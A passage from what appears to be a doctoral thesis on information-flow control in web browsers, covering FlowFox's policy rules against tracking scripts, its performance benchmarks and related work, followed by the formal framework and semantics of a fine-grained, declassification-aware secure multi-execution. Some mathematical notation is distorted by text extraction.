Baron [17] suggested a solution for preventing direct sniffing by modifying
the behavior of the DOM style API to pretend as if all links were styled as if
they were unvisited. In FLOWFOX, one can assign a high security level to the
getPropertyValue method, and set an appropriate default color value. If all API
calls that trigger network output are low, scripts can still access the color, but can’t
leak it.

Tracking libraries Tynt4 is a web publishing toolkit, that provides web sites
with the ability to monitor the copy event. Whenever a user copies content from
a web page, the library appends the URL of the page to the copied content and
transfers this to its home page via the use of an image object [77, §5]. To block the
leakage of copied text, we construct policy rule R6 to contain the Tynt software
by assigning a high security label to the DOM call for receiving the selected text:

R6[window.getSelection] : true→ H ↪→ ε

FLOWFOX now always reports that empty strings are copied.
Other web sites covertly track the user’s click events. By assigning a high

security label to the DOM calls for accessing mouse coordinates, we contain those
behavior tracking scripts. Policy rules R7 and R8 could be representative for such
a security policy:R7[MouseEvent.clientX] : true→ H ↪→ 0

R8[MouseEvent.clientY] : true→ H ↪→ 0

FLOWFOX will now always report the default position of the mouse to external
parties.
The examples above are only the tip of the iceberg. FLOWFOX supports a wide
variety of useful policies. We consider three classes of policies to be interesting
for further investigation:

1. Policies that classify the entire DOM API low, except for some selected
calls that return sensitive information. The three examples above fall in this

4http://www.tynt.com/
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Figure 14: Experimental results for the micro benchmarks.

category. Such policies could be offered by the browser vendor as a kind of
privacy profile.

2. Policies that approximate the SOP, but close some of its leaks. Writing
such a policy is an extensive task, as each DOM API method must receive
an appropriate policy rule that ensures that information belonging to the
document origin is high and other information is low. However, such a
policy must be written only once, and should only evolve as the DOM API
evolves.

3. Server-driven policies, where a site can configure FLOWFOX to better
protect the information returned from that site.

Note that none of these cases requires the end-user to write policies. Policy writing
is obviously too complex for browser end-users.

4.5.3 Performance and Memory Cost

All experiments reported in this section were performed on a MacBook notebook
with a 2GHz Intel®Core™2 Duo processor and 2GB RAM.
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Figure 15: Latency induced by FLOWFOX on scenarios.

Micro Benchmarks The goal of the first performance experiment is to quantify
the performance cost of our implementation of SME for JavaScript.

We used the Google Chrome v8 Benchmark suite version 6 5 – a collection
of pure JavaScript benchmarks used to tune the Google Chrome project – to
benchmark the JavaScript interpreter of our prototype. To simulate I/O intensive
applications, we reused the I/O test from Devriese and Piessens [54, §V.B]. This
test simulates interleaved inputs and outputs at all available security levels while
simulating a 10ms I/O latency.

We measured timings for three different runs: (i) the original unmodified
SpiderMonkey, (ii) SpiderMonkey with our modifications but without multi-
executing (every benchmark was essentially executed at a low security level with
all available DOM calls assigned a low security level) and (iii) SpiderMonkey
with SME enabled.

The results of this experiment in Figure 14 show that our modifications
have the largest impact – even when not multi-executing – for applications that
extensively exploit data structures, like splay and raytrace. The results also
confirm our expectations that our prototype implementation more or less doubles
execution time when actively multi-executing with two security levels. The io

test shows only a negligible impact overhead, because while one security level

5http://v8.googlecode.com/svn/data/benchmarks/v6/ revision 10404.
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blocks on I/O, the other level can continue to execute. The results are in line with
previous research results of another SME implementation [54].

Since web scripts can be I/O intensive, the small performance impact on
I/O intensive code is important, and one can expect macro-benchmarks for web
scenarios to be substantially better than 200%.

Macro Benchmarks The goal of the second performance experiment is to
measure the impact on the latency perceived by a browser user.

We used the web application testing framework Selenium to record and
automatically replay six scenarios from our second compatibility experiment for
both the unmodified Mozilla Firefox 8.0.1 browser and FLOWFOX. The results
in Figure 15 show the average execution time (including the standard deviation)
of each scenario for both browsers. In order to realistically simulate a typical
browsing environment, caching was enabled during browsing, but cleared between
different browser runs. The results show that the user-perceived latency for real-
life web applications is at an acceptable scale.

Memory Benchmarks Finally, we provide a measurement of the memory cost
of FLOWFOX. During the compatibility experiment, where FLOWFOX was
browsing to 500 different websites, we measured the memory consumption for
each site via about:memory after the onload event. On average, FLOWFOX

incurred a memory overhead of 88%.

4.6 Related work
We discuss related work on (i) information flow security and specific enforcement
mechanisms and (ii) general web script security countermeasures.

Information Flow Security Information flow security is an established research
area, and too broad to survey here. For many years, it was dominated by research
into static enforcement techniques. We point the reader to the well-known survey
by Sabelfeld and Myers [132] for a discussion of general, static approaches to
information flow enforcement.

Dynamic techniques have seen renewed interest in the last decade. Le
Guernic’s PhD thesis [88] gives an extensive survey up to 2007, but since then,
significant new results have been achieved. Recent works propose run time
monitors for information flow security, often with a particular focus on JavaScript,
or on the web context. Sabelfeld et al. have proposed monitoring algorithms
that can handle DOM-like structures [130], dynamic code evaluation [9] and
timeouts [128]. In a very recent paper, Hedin and Sabelfeld [73] propose
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dynamic mechanisms for all the core JavaScript language features. Austin and
Flanagan [12] have developed alternative, sometimes more permissive techniques.
These run time monitoring based techniques are likely more efficient than the
technique proposed in this paper, but they lack the precision of secure multi-
execution: such monitors will block the execution of some non-interferent
programs.

Secure multi-execution (SME) is another dynamic technique that was devel-
oped independently by several researchers. Capizzi et al. [33] proposed shadow
executions: they propose to run two executions of processes for the H (secret)
and L (public) security level to provide strong confidentiality guarantees. They
applied their technique also to Mozilla Firefox but they multi-execute the entire
browser and hence can’t enforce the same script policies as FLOWFOX can, as we
discussed in Section 4.3.3. Devriese and Piessens [54] were the first to prove the
strong soundness and precision guarantees that SME offers. They also report on
a JavaScript implementation that requires a modified virtual machine, but without
integrating it in a browser.

These initial results were improved and extended in several ways: Kashyap
et al. [83], generalize the technique of secure multi-execution to a family of
techniques that they call the scheduling approach to non-interference, and they
analyze how the scheduling strategy can impact the security properties offered.
Jaskelioff and Russo [78] propose a monadic library to realize secure multi-
execution in Haskell, and Barthe et al. [21] propose a program transformation
that simulates SME. Bielova et al. [24] propose a variant of secure multi-execution
suitable for reactive systems such as browsers. This paper develops the theory of
SME for reactive systems, but the implementation is only for a simple browser
model written in OCaml. Finally, Austin and Flanagan [13] develop a more
efficient implementation technique. Their multi-faceted evaluation technique
could lead to a substantial improvement in performance for FLOWFOX, especially
for policies with many levels.

Also static or hybrid techniques specifically for information flow security in
JavaScript or in browsers have been proposed, but these techniques either are
quite restrictive and/or can not handle the full JavaScript language. Bohannan et
al. [28, 29] define a notion of non-interference for reactive systems, and show how
a model browser can be formalized as such a reactive system. Chugh et al. [38]
have developed a novel multi-stage static technique for enforcing information flow
security in JavaScript. BFlow [153] provides a framework for building privacy-
preserving web applications and includes a coarse-grained dynamic information
flow control monitor.
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Other Web Script Security Countermeasures Information flow security is
one promising approach to web script security, but two other general-purpose
approaches have been applied to script security as well: isolation and taint-
tracking.

Isolation or sandboxing based approaches develop techniques where scripts
can be included in web pages without giving them (full) access to the surrounding
page and the browser API. Several practical systems have been proposed,
including ADSafe [44], Caja [106] and Facebook JavaScript [60]. Maffeis et
al. [94] formalize the key mechanisms underlying these sandboxes and prove they
can be used to create secure sandboxes. They also discuss several other existing
proposals, and we point the reader to their paper for a more extensive discussion
of work in this area. Isolation is easier to achieve than non-interference, but it is
also more restrictive: often access needs to be denied to make sure the script can
not leak the information, but it would be perfectly fine to have the script use the
information locally in the browser.

Taint tracking is an approximation to information flow security, that only takes
explicit flows into account. It can be implemented more efficiently than dynamic
information flow enforcement techniques, and several authors have proposed
taint tracking systems for web security. Two representative examples are Xu et
al. [152], who propose taint-enhanced policy enforcement as a general approach to
mitigate implementation-level vulnerabilities, and Vogt et al. [146] who propose
taint tracking to defend against cross-site scripting.

Besides these general alternative approaches, many ad-hoc countermeasures
for specific classes of web script security problems have been proposed – because
of space constraints, we don’t provide a full list. We discussed the examples of
AdJail [144], SessionShield [112] and history sniffing [151] in the paper.

4.7 Conclusions
We have discussed the design, implementation and evaluation of FLOWFOX, a
browser that extends Mozilla Firefox with a general, flexible and sound infor-
mation flow control mechanism. FLOWFOX provides evidence that information
flow control can be implemented in a full-scale web browser, and that doing so,
supports powerful security policies without compromising compatibility.
All our research material – including the prototype implementation and the Sele-
nium test cases – is available online at http://distrinet.cs.kuleuven.
be/software/FlowFox/.
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5 Secure Multi-Execution: Fine-grained, Declassi-
fication-aware, and Transparent

5.1 Introduction
As modern attacks are becoming more sophisticated, there is an increasing
demand for more advanced protection measures than those offerred by standard
security practice. We exemplify an instance of the problem with a motivating
scenario from web application security, but note that the problem is of rather
general nature.

Motivation In the context of the web, third-party script inclusion is pervasive.
It drives the integration of advertisement and statistics services. As an indicative
example, barackobama.com at the time of the 2012 US presidential campaign
contained 76 different third-party tracking scripts [140]. The tracking was used
for target political advertisement. Script inclusions extend the trusted computing
base to the Internet domains of included scripts. This creates dangerous scenarios
of trust-abuse. This can be done either by direct attacks from the included
scripts or, perhaps more dangerously, by indirect attacks when a popular service
is compromised and its scripts are replaced by the attacker. A recent empirical
study [111] of script inclusion reports high reliance on third-party scripts. It
outlines new attack vectors showing how easy it is to get code running in
thousands of browsers simply by acquiring some stale or misspelled domains.
Access control mechanisms are of limited use because third-party scripts require
access to sensitive information for their proper functionality. This is particularly
important for statistics and context-aware advertisement services on the web.
Similar scenarios arise in the setting of cloud computing where sharing the
resources is desirable but without compromising confidentiality and integrity.
This motivates the need for fine-grained information-flow control.

From static to dynamic information-flow control Tracking information flow
in programs is a popular area of research. Static analysis techniques have
been extensively explored, leading to tools like Jif [110], FlowCaml [139],
and SparkAda Examiner [16] that enhance compilers for Java, Caml, and Ada,
respectively. Recently, dynamic monitoring techniques have received increased
attention (cf. [89, 87, 138, 134, 11, 12, 73]), driven by the demand to analyze
dynamic programming languages like JavaScript. While static analysis either
accepts or rejects a given program before it is run, dynamic monitors perform
checks at run time. There are known fundamental tensions [129] between static
and dynamic analyses, implying that none is superior to the other. Although
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Figure 16

dynamic analysis might seem intuitively more permissive, it has to conservatively
treat the paths that are not taken by the current execution.

Secure multi-execution (SME) Recently, there has been much progress on
SME [54, 24, 83, 78, 13, 21, 50], a runtime enforcement for information flow.
In contrast to the monitoring techniques, the goal is not to prevent insecurities
but to “repair” them on the fly. This approach is secure by design: security is
achieved by separation of computations at different security levels. The original
program is run as many times as there are security levels, where outputs at a given
security levels are only allowed if the security level of the program is matched
with the security level of the output channel. The handling of inputs is slightly
more involved because inputs from less restrictive security levels are allowed to be
used in computations at more restrictive levels. Secure multi-execution propagates
inputs, once they are received, to the runs of the program that are responsible for
the computation of outputs at more restrictive levels.

Typically, security levels are drawn from a lattice with the intuition that
information from an input source at level ` may flow to an output sink at level
`′ only if ` v `′ [52]. For simplicity, we will often use the two-level lattice with
a secret (high) level and a public (low) level of confidentiality. Figure 16a shows
program P with a pair of input sources, labeled high H and low L, and a similarly-
labeled pair of sinks. The baseline policy of noninterference [65] demands that
low outputs do not depend on high inputs.

Figure 16b shows how secure multi-execution achieves noninterference.
Program P is run twice, as PH at high and as PL at low levels. The high input is
fed into the high run. The low input is fed into both the low and high run. Dummy
default values are used whenever the low run asks for high input. High output is
produced by the high run, and the low output is produced by the low run, while
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low output of the high run and high output of the low run are ignored. It is clear
from the diagram that noninterference is enforced because the low run, the only
producer of low output, never gets access to high input.

In contrast to the traditional dynamic analysis, there is no concern about
executions not taken because the control flow of the low run cannot possibly be
affected by high input. Further, secure multi-execution provides transparency,
in the sense that if a program is secure then its secure multi-execution does not
destroy its original behavior.

Contributions While secure multi-execution gains increased popularity, there
are open challenges that need to be addressed before it can be applied widely.
We overview the pros and cons of secure multi-executions compared to tradi-
tional information-flow control and, among other findings, point out that secure
multi-execution (i) lacks support for fine-grained security levels for communica-
tion channels, (ii) relies on restrictive scheduling, (iii) lacks support for declas-
sification, (iv) may reorder messages wrt. the original execution, and (v) lacks
support for detecting attacks.

We push the boundary of what can be achieved with secure multi-execution.
First, we lift the assumption from the original secure multi-execution work on
the totality of the input environment (that there is always assumed to be input)
and on cooperative scheduling. Second, we generalize secure multi-execution
to distinguish between security levels of presence and content of messages.
Third, we introduce a declassification model for secure multi-execution that
allows expressing what information can be released. Fourth, we establish full
transparency showing how secure multi-execution can preserve the original order
of messages in secure programs by barrier synchronization. This enables the use
of secure multi-execution to discover attacks on runtime.

5.2 Pros and cons of secure multi-execution
We overview the pros and cons of secure multi-execution with respect to direct
information-flow enforcement. The overview has two goals: provide a general
basis for deciding on which enforcement mechanism to pick in a particular case
and identify the most pressing shortcomings, subject to improvements by this
paper. We start by listing of what we view as the pros of secure multi-execution.

Noninterference by design A significant advantage of secure multi-execution
is that it straightforwardly enforces noninterference by a simple access-control
discipline: computation responsible for output at a given level never gets
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access to information at more restrictive or incomparable levels. This provides
noninterference guarantees.

Language-independence A major benefit is that secure multi-execution can
be enforced in a blackbox, language-independent, fashion. The enforcement
only concerns input and output operations allowing the rest of the language to
be arbitrarily complex. This is particularly useful for dynamic languages like
JavaScript that are hard to analyze.

Transparency for secure programs If the original program is secure, there
are transparency guarantees that limit ways in which semantics can be modified.
The original work on secure multi-execution shows per-channel transparency (or
precision in the terminology of Devriese and Piessens [54]). This means that if the
original program is secure then, from the viewpoint of each channel, the sequence
of I/O events in a given run of a program is the same in the original run and in the
multi-executed run.

Transparency at top level In addition, we note another transparency prop-
erty, which applies, for example, to programs with no intermediate input: the
externally-observable program behavior at the top security level is the same for
the original and securely multi-executed runs. This property can be seen from
Figures 16a and 16b. Clearly, the original run of the program in Figure 16a and
the high run of the multi-executed program in Figure 16b get the same inputs.
Hence, the high output behaviors are the same no matter whether the original
program is secure or not.

We now turn to the cons of secure multi-execution.

Coarse-grained labels In work on secure multi-execution so far, communica-
tion channels are provided with a single security label. This is often too coarse-
grained: for example, the presence of a message might be public but the content is
secret. This granularity might be useful for statistics services that might be count-
ing different types of events without revealing their content. For example, Google
Analytics is routinely used for varios types of counting: how many clicks on the
page, how many times a video is played, and how many visitors have viewed a
page.

Devriese and Piessens [54] assume total input environments: that the input is
always present. This does not allow modeling scenarios where the presence of
secret input is secret (for example, whether or not the user visits a health web
site). Bielova et al. [24] allow non-total environments but at the price of ignoring
information leaks through termination behavior (targeting termination-insensitive
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noninterference [148]). This implies that the leaks as in the example with the
health site are still ignored.

This motivates the need for fine-grained secure multi-execution. We lift the
assumption on total input environments and introduce fine-grained labels for
communication channels, where the levels of presence and content of messages
are distinguished.

Restrictive scheduling With the exception of work by Kashyap [83], secure
multi-execution heavily relies on the low-priority scheduler that lets low compu-
tation run until completion before the high run gets a chance to run. The low-
priority scheduler is both at the heart of the soundness results by Devriese and
Piessens [54] and at the heart of FlowFox [50], an extension of FireFox to enforce
secure information flow in JavaScript. The security theorem in the abstract setting
of secure multi-execution [54] takes advantage of the low-priority scheduler and
establishes timing-sensitive security. This is intuitive because the last access of
low data occurs before any high data is accessed. Whenever the timing behavior is
affected by secrets, there is no possibility for the attacker to inspect the difference.

However, the situation is different in the presence of handlers. The low-
priority scheduler does not scale because it is not possible to extend the low-
priority discipline over multiple events—simply because it is not possible to run
the low handlers that have not yet been triggered. As a compromise, FlowFox [50]
multi-executes JavaScript with the low-priority scheduler on a per-event basis.
However, as illustrated by a leak in Appendix A, this strategy is at the cost of
timing-sensitive security. All we need to do is to set a low handler to execute after
the high run of the main code has finished. Then the low handler can leak via the
computation time taken by the high run.

This motivates the need for flexible scheduling strategies and the need for
(fair) interleaving of the runs at different levels, as pursued in this paper.

Declassification Declassification is challenging because secure multi-execution
is based on separating information at different security levels. Feeding secret
information to a public run might introduce unintended leaks. Coming back to the
example of tracking and statistics, we might want to track the popularity of items
in a shopping cart or track various average values for transactions.

This motivates the need for declassification in secure multi-execution. The
event of declassification should not leak information about the context (branching
on a secret and declassifying in the body would leak the boolean value of the
secret). It turns out that the support for fine-grained communication channels
provides us with a natural treatment of declassification. Indeed, declassification is
about communicating a secret value from the high run to the low run, but without
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leaking through the presence of the communication event. Exactly this is provided
by channels with high content and low presence! Hence, a declassification event
corresponds to output on a high-content low-presence channel (in view of the high
run), and to input on high-content low-presence channel (in the view of the low
run).

Order of events modified The transparency guarantees of secure multi-
execution are per channel, allowing the order of events to be modified across
different channels. This leads to unexpected results in an interactive setting.

This motivates the need for stronger transparency, where the behavior of
secure programs is unmodified across the different levels. We show how to achieve
this by careful scheduling of the runs at the different levels.

Silent failure The behavior of secure and insecure programs is silently modi-
fied. As mentioned above, there are cases when the run at the top security level
is immune to such modifications as it never gets dummy values. However, the
behavior at less restrictive levels might be modified, leading to loss of important
functionality. This directly connects to undiscovered attacks, addressed below.

Undiscovered attacks Related to the silent failure point above, secure multi-
execution “repairs” problematic executions on the fly, with no means to identify
if there were any attempted attacks and what caused such attacks.

This motivates an enhancement of secure multi-execution that allows for
detecting attacks. Intuitively, we introduce barrier synchronization of the runs at
the different security levels and track the consistency of the values they produce.
In the two-level lattice, we check if the low output produced by the low run
matches the value produced by the high run (which is the same as the low output
of the original program). If they are inconsistent, we have found an attack. Full
transparency is the key for this result because it guarantees that secure programs
must have exactly the same I/O behavior as their securely multi-executed versions.

Nondeterminism Nondeterminism needs to be reproduced for the executions at
different levels. Although this has not been explicitly handled in previous work, a
natural possibility is to assign security level to the source of nondeterminism and
propagate it to the relevant executions in a fashion similar to propagating inputs.

Dummy values Dummy values are fed into executions that are not authorized to
have access to sensitive input. An unfortunate choice of values might lead to the
program crashing. Defensive programming is then needed to ensure that programs
are stable under variation of allowed input.
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Performance Executing the program several times implies obvious perfor-
mance overhead. At the same time, secure multi-execution benefits from mul-
ticore architectures, in particular when the number of executions is less than the
number of cores [54]. Also, as we discuss in Section 5.7, optimizations are possi-
ble for simulating multiple executions by computing on enriched values [13].

5.3 Framework
We lay the foundation for our technical contributions outlined in the introduction
by presenting a framework for information-flow security of interactive programs
[113, 41, 28, 120, 118].

5.3.1 Interactive programs

Our model of computation is a labeled transition system (LTS). An LTS is a triple
(S, L,−→), where S is a set (of states), L is a set (of labels), and −→⊆ S × L× S
(a labeled transition relation). Computation occurs in discrete steps (transitions),
each taking a (unspecified) unit of time. s

l−→ s′ iff (s, l, s′) ∈−→, and s
l−→ iff

s
l−→ s′ for some s′.
The systems we consider in this paper interact with their environment through

channel-based message-passing. Such systems have three kinds of effects: input,
output, and silence. The two latter effects are “productions”, referred to as output
o, and the first effect is a “consumption”, referred to as input i. Collectively, these
are actions a.

a ::= i | o i ::= c?v o ::= c!v | •

Here, c?v (resp. c!v) denotes a message received (resp. sent) on channel c carrying
value v, and • denotes a non-interaction. c and v range over the (nonempty) sets C
and V resp.. These effects are the only external interface to our systems; systems
are “black boxes” in every other respect.

Definition 5. An input-output LTS (LTSIO) is an LTS (S, L,−→), with L ranged
by a.

Practical languages native to this paradigm include Erlang and JavaScript.
Bohannon et al. give the semantics of a JavaScript-like language as an LTSIO
in [28] and Rafnsson et al. give the semantics of an imperative language with I/O
(used in our examples) as an LTSIO in [118].

One element ? ∈ V (blank) is distinguished. When s c??−→ s′, then s has waited
one time unit for an input on c without receiving one. c!? has no specific meaning.

Definition 6. Let λ = (S, L,−→) be an LTSIO.
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1. λ is input-neutral iff

∀s ∈ S, c � (∃v � s c?v−−→) =⇒ (∀v � s c?v−−→).

2. λ is input-blocking iff

∀{s, s′} ⊆ S, c � s c??−→ s′ =⇒ s′ = s.

3. λ is deterministic iff

(a) ∀s ∈ S, a1, a2 � s
a1−→ ∧s a2−→ ∧a1 6= a2 =⇒

∃c, v1, v2 � a1 = c?v1 ∧ a2 = c?v2, and

(b) ∀{s, s1, s2} ⊆ S, a � s a−→ s1 ∧ s
a−→ s2 =⇒ s1 = s2.

Pt. 1 states that if s is ready to perform input, s be receptive to any v. Pt.
2 states that input is a blocking operation. Pt. 3a says if s c?v−→, then s

a−→ iff
a ∈ {a?v | v ∈ V}, and implicitly, if s o−→, then s a−→ iff a = o. Pt. 3b says s has
no internal nondeterminism. Unless stated otherwise, any s we consider in this
paper is from a λ satisfying pt. 1, 2 and 3. We discuss the assumption of pt. 2
further in Section 5.4.

5.3.2 Traces

A trace is a (finite) list of actions, denoted ā. We write s ā−→ sn if s a1−→ s1
a2−→

· · · an−→ sn for some s1, . . . , sn and ā = a1. · · · .an. Let ā�? , ā�! and ā�c denote
the projection of ā to its input-, output- and c-messages, respectively. E.g., if
ā = c?1.c′!2.c′??.c!4, then ā�? = c?1.c′??, ā�! = c′!2.c!4, and ā�c= c?1.c!4. ā�c
extends to ā �C for C ⊆ C in the obvious way. We write ā �x1,...,xn as short for
ā �x1 · · · �xn ; we refer to each xj as a projection predicate. With ā defined as
above, ā �c,? = ā �c�? = c?1. We write x̄ ≤ x̄′′ when, for some x̄′, x̄′′ = x̄.x̄′.
For a relation R, ā Rx1,...,xn ā

′ is short for (ā �x1,...,xn )R (ā′ �x1,...,xn ). Note that
(Rx1,...,xn)x0 = Rx0,...,xn . With ā defined as above, ā ≤!,c c?3.c!4.c!5.

5.3.3 Observables

The observables of our programs are its effects. The observability of a message is
given by the security level associated with the channel carrying the message. As
foreshadowed earlier, we assume a lattice (L,v), with L ranged by `, of security
levels which express levels of confidentiality. Each channel is labeled with two
security levels; δ(c) is the level of the presence of a message on c, and γ(c) is
the level of the content or value of a message on c. In examples, we frequently
represent a channel by its security labels; we then write γ(c)δ(c) in place of c (in
code, γ(c)δ(c)). A classic example is the two-level lattice LLH = {L,H} with
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v= {(L,L), (L,H), (H,H)}, L for “low” confidentiality, H for “high”. We let H,
M, L denote HH, HL and LL, resp..

Figure 17a illustrates the flow of information in the case of the two-level
lattice. Input on M is depicted in-between the high and low input. The presence
of such an input is low (this dependency on low is illustrated by the dashed line)
while the content is high (this dependency on high is illustrated by the solid
line). Similarly, output on M is depicted in-between the high and low output.
Its presence is observable at low level (cf. the dashed arrow), and its value is
observable at high level (cf. solid arrow).

The security labels express who can observe what. An observer is associated a
security level `. An `-observer is capable of observing the presence (resp. content)
of a message on c iff δ(c) v ` (resp. γ(c) v `). ā�` removes `-unobservable parts
of actions in ā. For ā = •.L?0.H!1.M??.M!2.H??.•, ā�L= •.L?0.•.M?d.M!?.•.•.
H!1 got replaced with • since communication on H is unobservable to a L-observer
(thus looks like a •). M!2 got replaced with M!d (for a fixed d ∈ V), since a L-
observer only observes presence of messages on M (all a ∈ {M!v | v ∈ V} look
the same).

Timing and progress Eventually we enforce a property stating that variations
in unobservable inputs to a system do not cause an `-observable difference in the
traces the system can perform. How we define trace equivalence defines the class
of attackers such a property guarantees security against. We consider two classes
of attackers: timing- and progress-sensitive ones respectively. To both, a blank
input is unobservable since no message is passed. ā �? replaces all c?? with •.
With ā defined as above, ā�?= •.L?0.H!1.•.M!2.•.•.

A timing-sensitive (e.g. [3, 54]) attacker measures time between observables
in a trace. ā �~• removes trailing • from ā. E.g. ā �~•= •.L?0.H!1.M??.M!2.H??.
Define timing-sensitive `-equivalence '` as =?,`,~•. Consider
in H h ; out L 0

Since this program can perform traces ā1 = H??.H?1.L!0 and ā2 = H?1.L!0,
this program is not secure against a timing-sensitive L-observer, since we have
ā1�?,L,~•= •.•.L!0 6= •.L!0 = ā2�?,L,~• (L!0 is produced faster in the latter trace).

A progress-sensitive (e.g. [113, 9, 120]) attacker observes whether there are
more observables forthcoming in a trace. ā �• removes all • from ā. With ā as
above, ā�•= L?0.H!1.M??.M!2.H??. We define progress-sensitive `-equivalence
≈` as =?,`,•. ā1 and ā2 are not evidence that the above program is insecure against
progress-sensitive `-observers since ā1 �?,L,•= L!0 = ā2 �?,L,• (in both traces, L!0
eventually appears). Note that ('`) ( (≈`). Thus, a progress-sensitive (timing-
insensitive) attacker is strictly weaker than a timing-sensitive one.
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5.3.4 Environments

The inputs to our systems come from the environment in which our systems
run. Clark and Hunt [41] have demonstrated that when performing security
analysis of programs, an environment does not need to be adaptive in any way
to provoke a particular (leaking) behavior from a deterministic program. It is
therefore sufficient for our purposes to consider environments represented as a
stream (infinite list) of inputs for each input channel. So, an environment I is a
mapping from input channels to the stream of inputs the environment provides on
that channel. Since streams can contain blanks, our framework considers attacks
powered by delayed input.

Input streams restrict which traces are possible; ā is consistent with I , written
I |= ā, iff for all c, with Ic = I(c),

∀ā′ ≤ ā � ∃ī′ ≤ Ic � ( |ā′| = |̄i′| ∧ ā′ ≤?,c,?,• ī
′

∧ (ā′ = .c?? =⇒ ī′ = .c??) ).

Read this as “all i in ā came from I , and ? is read only when I had no value ready
to be read” ( is a wildcard). Running s under I constrains the traces which s can
perform; s performs ā under I , written I |= s

ā−→, iff s ā−→ and I |= ā.
Consistency implies that I queues arriving input. Consider

in c x ; while |x| { x = |x| - 1 } ; in c y

Let s be the LTSIO state of this program and let I1, . . . , I5 be given such that

I1c = (c??)∞,
I2c = c?0.c?0.(c??)∞,
I3c = c?2.c?0.(c??)∞,
I4c = c?0.c??.c??.c??.c?0.(c??)∞,
I5c = c?2.c??.c??.c??.c?0.(c??)∞.

Then I1 |= s
(c??)n−−−→ for all n ∈ N, I2 |= s

c?0.•.c?0−−−−−→, I3 |= s
c?2.•.•.•.•.•.c?0−−−−−−−−−→,

I4 |= s
c?0.•.c??.c??.c?0−−−−−−−−−→, I5 |= s

c?2.•.•.•.•.•.c?0−−−−−−−−−→.
Stream equivalence becomes: I1 '` I2 (resp. I1 ≈` I2) iff ∀c � δ(c) v ` =⇒

I1(c) '` I2(c) (resp. I1(c) ≈` I2(c)).

Totality An environment is total if it always provides a system with input
whenever the system needs it. In our framework, I is total if ? does not occur in
any Ic. Previous work on security for interactive programs [113, 41] assume that
environments are total. However, as we have demonstrated previously [118], this
assumption limits (undesirably) the space of possible attacks on input-blocking
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interactive programs, since the presence of a message can vary depending on
high data. Consider the program in Section 5.3.3. Let I1H = H?0.(c??)∞ and
I2H = I1c = I2c = (c??)∞ for all c 6= H. While this program can perform
H?0.L!0 under I1, the program cannot perform an ≈L-equivalent trace under I2.
Since a program can encode a bit in the presence of a message, these attacks
becomes crucial in an interactive setting. To emphasise the gravity of the matter,
here are three interactive programs [118], each secure under total environments,
which, when run in parallel, leak the input on H, bit by bit, on L, by encoding the
received value in the presence of H0 and H1 messages.
while 1 { in H1 x ; out L 1 ; out H′

1 42 }

while 1 { in H0 x ; out L 0 ; out H′
0 42 }

in H h;
for b in bits(h) {

if b { out H1 42 ; in H′
1 x }

else { out H0 42 ; in H′
0 x }

}

In short, the lack (resp. delay) of input impedes on the progress (resp. timing)
behavior of input-blocking interactive systems. To guarantee protection against
attacks powered by varied input presence, nontotal environments (e.g. our I)
must be considered. This in part motivates our fine-grained security types; since
no low observables are allowed to occur after a high input, the only way for an
input-blocking system to input a high value before performing low observables is
if the presence level of the input is low [118].

5.4 Fine-grained secure multi-execution
The opening series of our contributions develops a generalization of SME [54]
with respect to several dimensions. We lift the assumption on the totality of
the input environment (that there is always assumed to be input) and on the
cooperative scheduling. Furthermore, we distinguish between security levels of
presence and content of messages. In addition, we generalize SME to arbitrary
deterministic LTSIO and strengthen the guarantees SME provides.

By design, our formalization of SME ensures that the `-observable part of the
interaction on channels with ` presence depends only on `-observable parts of
input on channels with v ` presence, thus enforcing a noninterference policy.
Figure 17b illustrates the intuition in our handling of the channels with fine-
grained security levels for the two-level lattice. In addition to propagating low
input to the high run (as in Figure 16b), we propagate to the high run the fact that
an M message has arrived to the low run. This allows consistent processing of the
message. At the output, the presence of an M message is observable at the low
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(b) SME, fine-grained security

Figure 17

level (cf. dashed output arrow). On the other hand, the value of an M output is
produced by the high run (cf. solid output arrow).

Our SME of s runs, concurrently, a copy of s for each level in the security
lattice. The SME of s can input on c iff the δ(c)-run can input on c. An `-run which
can consume a c-input with δ(c) 6v ` is fed a (constant, pre-determined, input-
independent) default value, denoted d, by SME. An `-run which can consume its
nth c-input with δ(c) @ ` gets a copy of the nth input consumed by the δ(c)-run,
unless δ(c) is yet to consume n c-inputs, in which case the `-run blocks until the
δ(c)-run has done so. However, if γ(c) 6v `, then the `-run is fed d instead of
the value in the nth c-input. The SME of s can output on c iff the δ(c)-run can
output on c. A c-output produced by a `-run for which δ(c) 6= ` is discarded by
SME (as opposed to being sent to the environment). When an `-run produces its
nth c-output with ` = δ(c), this output is sent straight to the environment, except
when δ(c) 6= γ(c); in that case SME first checks whether the γ(c)-run has already
produced its nth c-output. If so, then the value of the nth c-output produced by
the SME of s becomes the value of the nth c-output produced by the γ(c)-run.
Otherwise, the value becomes d.

We now formalize SME for arbitrary s satisfying the assumptions in Defini-
tion 6. Concurrent executions of s are scheduled by a scheduler.

Definition 7. A scheduler σ is a LTS with labels ranged by `. σ is deterministic
iff ∀`, `′ � σ `−→ ∧σ `′−→ =⇒ ` = `′. σ is fair iff ∀¯̀� σ

¯̀
−→ =⇒ ∀` � ∃¯̀′ � σ

¯̀.¯̀′.`−−→.

Unless stated otherwise, σ is deterministic and fair. An example of determin-
istic and fair schedulers is the round-robin schedulers. For instance, for LLH, a
scheduler which infinitely repeats H.L or L.H is a deterministic fair scheduler.

The semantics of SME is given in Figure 18. A SME state is a triple (ā, σ, S),
where ā is the list of actions which the SME has performed so far, σ the state of
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s X−→
(ā, `) |= (ā`, s) •−→ (ā`.•, s)

dead

s
c?v−−→ s′ ā`.c?v ≤?,`,•,?,c ā if γ(c) 6v ` then v = d else v 6= ?

(ā, `) |= (ā`, s) •−→ (ā`.c?v, s′)
old-i

s
•−→ s′

(ā, `) |= (ā`, s) •−→ (ā`.•, s′)
silence

s
c!v`−−→ s′ δ(c) = ` if γ(c) = ` then v = v` else v = d

(ā, `) |= (ā`, s) c!v−→ (ā`.c!v`, s′)
new-o

s
c!v−→ s′ δ(c) 6= `

(ā, `) |= (ā`, s) •−→ (ā`.c!v, s′)
old-o

s
c?v`−−→ s′ ā` =?,`,•,?,c ā if v = ? ∨ γ(c) v ` then v` = v else v` = d

(ā, `) |= (ā`, s) c?v−−→ (ā`.c?v`, s′)
new-i

(a) SME `-stepper

σ
`−→ σ′ (ā, `) |= S(`) •−→ (ā`, s)

ā |= (σ, S) •−→ (σ′, S [` 7→ (ā`, s)])
•

σ
`−→ σ′ (ā, `) |= S(`) c??−→ (ā`, s) δ(c) @ `

ā |= (σ, S) •−→ (σ′, S [` 7→ (ā`, s)])
block-i

σ
`−→ σ′ (ā, `) |= S(`) c?v−−→ δ(c) = `

